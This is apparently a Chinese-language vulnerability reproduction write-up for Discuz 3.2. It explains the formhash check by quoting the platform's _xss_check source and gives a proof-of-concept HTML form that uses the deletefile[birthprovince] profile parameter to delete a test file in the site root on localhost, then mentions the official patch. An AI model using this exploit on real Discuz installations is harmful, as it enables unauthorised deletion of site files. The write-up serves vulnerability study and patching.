驗證用的版本:discuz3.2
0x1首先在根目錄下新建一個文件


0x2 構造poc1修改出生地區


注意其中的formhash需要替換掉,具體是在源碼中找。
為什么這里要替換掉formhash呢?
一開始不太清楚,網頁會報錯,
如下


看到了有一個xss驗證蠻去找一下這個文件
private function _xss_check() {
static $check = array('"', '>', '<', ''', '(', ')', 'CONTENT-TRANSFER-ENCODING');
if(isset($_GET['formhash']) && $_GET['formhash'] !== formhash())
{
system_error('request_tainting');
}
if($_SERVER['REQUEST_METHOD'] == 'GET' ) {
$temp = $_SERVER['REQUEST_URI'];
} elseif(empty ($_GET['formhash'])) {
$temp = $_SERVER['REQUEST_URI'].file_get_contents('php://input');
} else {
$temp = '';
}
if(!empty($temp)) {
$temp = strtoupper(urldecode(urldecode($temp)));
foreach ($check as $str) {
if(strpos($temp, $str) !== false) {
system_error('request_tainting');
}
}
}
return true;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
發現了如下代碼
if(isset($_GET[‘formhash’]) && $_GET[‘formhash’] !== formhash())
{
system_error(‘request_tainting’);
}
這里就是對formhash做判斷的地方了,當然判斷地方不止一個。這里formhash應該是每次登陸后隨機生成的,具體源碼沒有去找他,但嘗試兩次登陸后找到的formhash不一樣
0x3 構造poc2刪除zsdlove.txt文件
test->poc
<form
action="http://localhost/discuz3.2/upload/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovi
nce]=zsdlove" method="POST" enctype="multipart/form-data">
<input type="file" name="birthprovince" id="file" /> <br><br>
<input type="text" name="formhash" value="3e42ef6f"/><br><br>
<input type="text" name="profilesubmit" value="1"/><br><br>
<input type="submit" value="Submit" />
</from>
1
2
3
4
5
6
7
8
9
將該poc保存為html文件打開


隨便上傳一張圖片,注意其中的formhash也要替換
在瀏覽器中訪問


localhost/discuz3.2/upload/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=zsdlove
1
在看看網站根目錄


文件已經被刪除了
0x4 修復方案:官方已經發布補丁,請盡快修復
版權聲明:本文內容由互聯網用戶自發貢獻,該文觀點僅代表作者本人。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。如發現本站有涉嫌抄襲侵權/違法違規的內容, 請發送郵件至 舉報,一經查實,本站將立刻刪除。
發表評論
請登錄后評論...
登錄后才能評論